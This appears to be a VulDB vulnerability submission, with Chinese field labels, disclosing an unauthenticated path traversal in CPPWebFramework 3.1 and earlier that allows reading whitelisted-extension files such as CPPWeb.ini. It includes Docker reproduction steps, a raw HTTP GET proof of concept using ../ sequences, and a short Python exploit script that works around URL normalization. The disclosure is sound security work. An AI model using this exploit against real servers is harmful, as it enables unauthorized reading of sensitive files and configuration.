| 标题 | HerikLyma CPPWebFramework <= 3.1 (HTTP Server Header) Relative Path Traversal |
|---|
| 描述 | CPPWebFramework contains an unauthenticated Directory Traversal vulnerability. The framework concatenates user-supplied URLs directly with the web root path without sanitizing ../ sequences.
While the application utilizes a file-extension whitelist, attackers can bypass directory restrictions to read arbitrary files on the host system that share a whitelisted extension (e.g., .ini, .txt, .xml, .json, .zip, .php, .html, .rar, .doc, .pdf, .mp3, .mp4). This allows remote attackers to leak highly sensitive framework configuration files (such as CPPWeb.ini).
The vulnerability can be verified using the official Docker container provided by the developers.
```
sudo docker run -d -p 80:80 imacellone/cwf-helloworld:1.0
docker exec -it <container_id> bash
root@<container_id>:/# echo "Unauthenticated Arbitrary File Read via Path Traversal" > /home/Test.txt
```
Proof of Concept (HTTP Request):
```
GET /../../../../home/Test.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
```
Proof of Concept (Response):
```
HTTP/1.1 200 OK
Content-Length: 55
Content-Type: text/txt; charset=UTF-8
Server: C++-Web-Server
Unauthenticated Arbitrary File Read via Path Traversal
```
Python PoC:
```
import requests
target = "http://127.0.0.1:80"
payload = "/../../home/Test.txt"
# Bypass requests automatic URL normalization
session = requests.Session()
req = requests.Request('GET', target + payload)
prep = req.prepare()
prep.url = target + payload
response = session.send(prep)
print(response.text)
```
```
python3 PoC.py
Unauthenticated Arbitrary File Read via Path Traversal
``` |
|---|
| 来源 | ⚠️ https://github.com/HerikLyma/CPPWebFramework/issues/40 |
|---|
| 用户 | MatanS (UID 86894) |
|---|
| 提交 | 2026-03-23 06時59分 (6 月前) |
|---|
| 管理 | 2026-04-05 22時21分 (14 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 355426 [HerikLyma CPPWebFramework 直到 3.1 目录遍历] |
|---|
| 积分 | 20 |
|---|